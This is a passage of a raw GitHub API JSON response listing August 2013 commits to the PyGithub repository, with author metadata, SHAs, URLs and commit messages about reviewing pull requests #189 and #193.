c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"c7593e84c4a92a044b717b7311c2b6ad8d9a5917","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c7593e84c4a92a044b717b7311c2b6ad8d9a5917","html_url":"https://github.com/jacquev6/PyGithub/commit/c7593e84c4a92a044b717b7311c2b6ad8d9a5917"},{"sha":"ba5b0d5ea93d362ecd8b5a91701a9c62c385d008","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ba5b0d5ea93d362ecd8b5a91701a9c62c385d008","html_url":"https://github.com/jacquev6/PyGithub/commit/ba5b0d5ea93d362ecd8b5a91701a9c62c385d008"}]},{"sha":"1787765a61958617d47e764a0bea2acd70c84f72","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T09:41:15Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T09:41:15Z"},"message":"Review of #189: use dict.get\n\nhttp://docs.python.org/2/library/stdtypes.html#dict.get","tree":{"sha":"7cb1da804d8cec4692c26b5a0d35827c151ddde4","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/7cb1da804d8cec4692c26b5a0d35827c151ddde4"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1787765a61958617d47e764a0bea2acd70c84f72","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1787765a61958617d47e764a0bea2acd70c84f72","html_url":"https://github.com/jacquev6/PyGithub/commit/1787765a61958617d47e764a0bea2acd70c84f72","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1787765a61958617d47e764a0bea2acd70c84f72/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"cc1bcd5f2da1982a0836a488cf321d363bfcf5b5","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cc1bcd5f2da1982a0836a488cf321d363bfcf5b5","html_url":"https://github.com/jacquev6/PyGithub/commit/cc1bcd5f2da1982a0836a488cf321d363bfcf5b5"}]},{"sha":"0f74e4389b3c0fa57a83083ecfbbf5c331022674","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T10:12:38Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T10:12:38Z"},"message":"Review of #189: pep8, copyrights, style, remarks\n\nFor remarks, run: git grep \"#189\"\nThey are only my first thoughts while reviewing this pull request,\nand should be reviewed themselves.","tree":{"sha":"6704a63e77b81165cb7f8ff4c32bd8455fcdfbdb","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/6704a63e77b81165cb7f8ff4c32bd8455fcdfbdb"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0f74e4389b3c0fa57a83083ecfbbf5c331022674","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0f74e4389b3c0fa57a83083ecfbbf5c331022674","html_url":"https://github.com/jacquev6/PyGithub/commit/0f74e4389b3c0fa57a83083ecfbbf5c331022674","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0f74e4389b3c0fa57a83083ecfbbf5c331022674/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"1787765a61958617d47e764a0bea2acd70c84f72","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1787765a61958617d47e764a0bea2acd70c84f72","html_url":"https://github.com/jacquev6/PyGithub/commit/1787765a61958617d47e764a0bea2acd70c84f72"}]},{"sha":"fb7325884ee0b8ae73f47bf13c6f36cacbc3131c","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T07:32:47Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T07:32:47Z"},"message":"Fix remarks on #189 to #193","tree":{"sha":"acda548d54ec2929d3f556bb09d72082c6cce74c","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/acda548d54ec2929d3f556bb09d72082c6cce74c"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/fb7325884ee0b8ae73f47bf13c6f36cacbc3131c","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fb7325884ee0b8ae73f47bf13c6f36cacbc3131c","html_url":"https://github.com/jacquev6/PyGithub/commit/fb7325884ee0b8ae73f47bf13c6f36cacbc3131c","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fb7325884ee0b8ae73f47bf13c6f36cacbc3131c/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"0f74e4389b3c0fa57a83083ecfbbf5c331022674","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0f74e4389b3c0fa57a83083ecfbbf5c331022674","html_url":"https://github.com/jacquev6/PyGithub/commit/0f74e4389b3c0fa57a83083ecfbbf5c331022674"}]},{"sha":"0413c87c12e688fb4fc38d978a2f275ef791cd48","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T07:39:19Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T07:39:19Z"},"message":"Remove _record_.py (#193)\n\nAccording to https://github.com/jacquev6/PyGithub/commit/0f74e4389b3c0fa57a83083ecfbbf5c331022674#commitcomment-3919786","tree":{"sha":"97108cad4736d71906a05fc573936659fb81f386","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/97108cad4736d71906a05fc573936659fb81f386"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0413c87c12e688fb4fc38d978a2f275ef791cd48","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0413c87c12e688fb4fc38d978a2f275ef791cd48","html_url":"https://github.com/jacquev6/PyGithub/commit/0413c87c12e688fb4fc38d978a2f275ef791cd48","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0413c87c12e688fb4fc38d978a2f275ef791cd48/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"fb7325884ee0b8ae73f47bf13c6f36cacbc3131c","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fb7325884ee0b8ae73f47bf13c6f36cacbc3131c","html_url":"https://github.com/jacquev6/PyGithub/commit/fb7325884ee0b8ae73f47bf13c6f36cacbc3131c"}]},{"sha":"bc3b819ac554a2132427c9ffe629ef371511213e","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T07:50:51Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T07:50:51Z"},"message":"Separate tests for conditional requests (#193)","tree":{"sha":"cebebf12f44ca09fa382c2673f9577bce01d09f8","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/cebebf12f44ca09fa382c2673f9577bce01d09f8"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/bc3b819ac554a2132427c9ffe629ef371511213e","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bc3b819ac554a2132427c9ffe629ef371511213e","html_url":"https://github.com/jacquev6/PyGithub/commit/bc3b819ac554a2132427c9ffe629ef371511213e","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bc3b819ac554a2132427c9ffe629ef371511213e/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"0413c87c12e688fb4fc38d978a2f275ef791cd48","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0413c87c12e688fb4fc38d978a2f275ef791cd48","html_url":"https://github.com/jacquev6/PyGithub/commit/0413c87c12e688fb4fc38d978a2f275ef791cd48"}]},{"sha":"bae0a37d180a4b224c6aa808d03722908109c57d","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T09:10:35Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T09:10:35Z"},"message":"#193: Don't use a try-except for a usual execution flow in GithubObject.update\n\n(and factorize assignment of headers in _storeAndUseAttributes,\nas done for rawData)","tree":{"sha":"d56e13d46c851d333baf0d69053dc6527f1e04d7","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/d56e13d46c851d333baf0d69053dc6527f1e04d7"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/bae0a37d180a4b224c6aa808d03722908109c57d","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bae0a37d180a4b224c6aa808d03722908109c57d","html_url":"https://github.com/jacquev6/PyGithub/commit/bae0a37d180a4b224c6aa808d03722908109c57d","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bae0a37d180a4b224c6aa808d03722908109c57d/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"bc3b819ac554a2132427c9ffe629ef371511213e","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bc3b819ac554a2132427c9ffe629ef371511213e","html_url":"https://github.com/jacquev6/PyGithub/commit/bc3b819ac554a2132427c9ffe629ef371511213e"}]},{"sha":"03d7fb012e9d032165c43f93a4c67bc29af9366f","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T09:15:17Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T09:15:17Z"},"message":"#193: Add remarks","tree":{"sha":"887977aa41abc6624fdea3d1ffd185decc57ab90","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/887977aa41abc6624fdea3d1ffd185decc57ab90"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/03d7fb012e9d032165c43f93a4c67bc29af9366f","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/03d7fb012e9d032165c43f93a4c67bc29af9366f","html_url":"https://github.com/jacquev6/PyGithub/commit/03d7fb012e9d032165c43f93a4c67bc29af9366f","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/03d7fb012e9d032165c43f93a4c67bc29af9366f/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"bae0a37d180a4b224c6aa808d03722908109c57d","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/bae0a37d180a4b224c6aa808d03722908109c57d","html_url":"https://github.com/jacquev6/PyGithub/commit/bae0a37d180a4b224c6aa808d03722908109c57d"}]},{"sha":"64cf539c83174f95b3410c7decd2549424385ce1","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T09:31:01Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T09:31:01Z"},"message":"#193: Add a param to Requester.requestXxx for request headers","tree":{"sha":"d8ce377a13245803f223ae5bf50c09db0544a1be","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/d8ce377a13245803f223ae5bf50c09db0544a1be"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/64cf539c83174f95b3410c7decd2549424385ce1","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/64cf539c83174f95b3410c7decd2549424385ce1","html_url":"https://github.com/jacquev6/PyGithub/commit/64cf539c83174f95b3410c7decd2549424385ce1","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/64cf539c83174f95b3410c7decd2549424385ce1/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"03d7fb012e9d032165c43f93a4c67bc29af9366f","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/03d7fb012e9d032165c43f93a4c67bc29af9366f","html_url":"https://github.com/jacquev6/PyGithub/commit/03d7fb012e9d032165c43f93a4c67bc29af9366f"}]},{"sha":"e084b5138106d4ad371a69ca9519862f09c855ae","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T12:51:34Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T12:51:34Z"},"message":"#193: Fix test coverage","tree":{"sha":"e0dc9f5f816e7e6503d60b39b69d5652bd2b77ce","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/e0dc9f5f816e7e6503d60b39b69d5652bd2b77ce"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/e084b5138106d4ad371a69ca9519862f09c855ae","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e084b5138106d4ad371a69ca9519862f09c855ae","html_url":"https://github.com/jacquev6/PyGithub/commit/e084b5138106d4ad371a69ca9519862f09c855ae","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e084b5138106d4ad371a69ca9519862f09c855ae/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"64cf539c83174f95b3410c7decd2549424385ce1","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/64cf539c83174f95b3410c7decd2549424385ce1","html_url":"https://github.com/jacquev6/PyGithub/commit/64cf539c83174f95b3410c7decd2549424385ce1"}]},{"sha":"020a3c9917f42d98c1761527825061d2db8352fd","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T16:45:16Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-23T16:45:16Z"},"message":"Move method update to 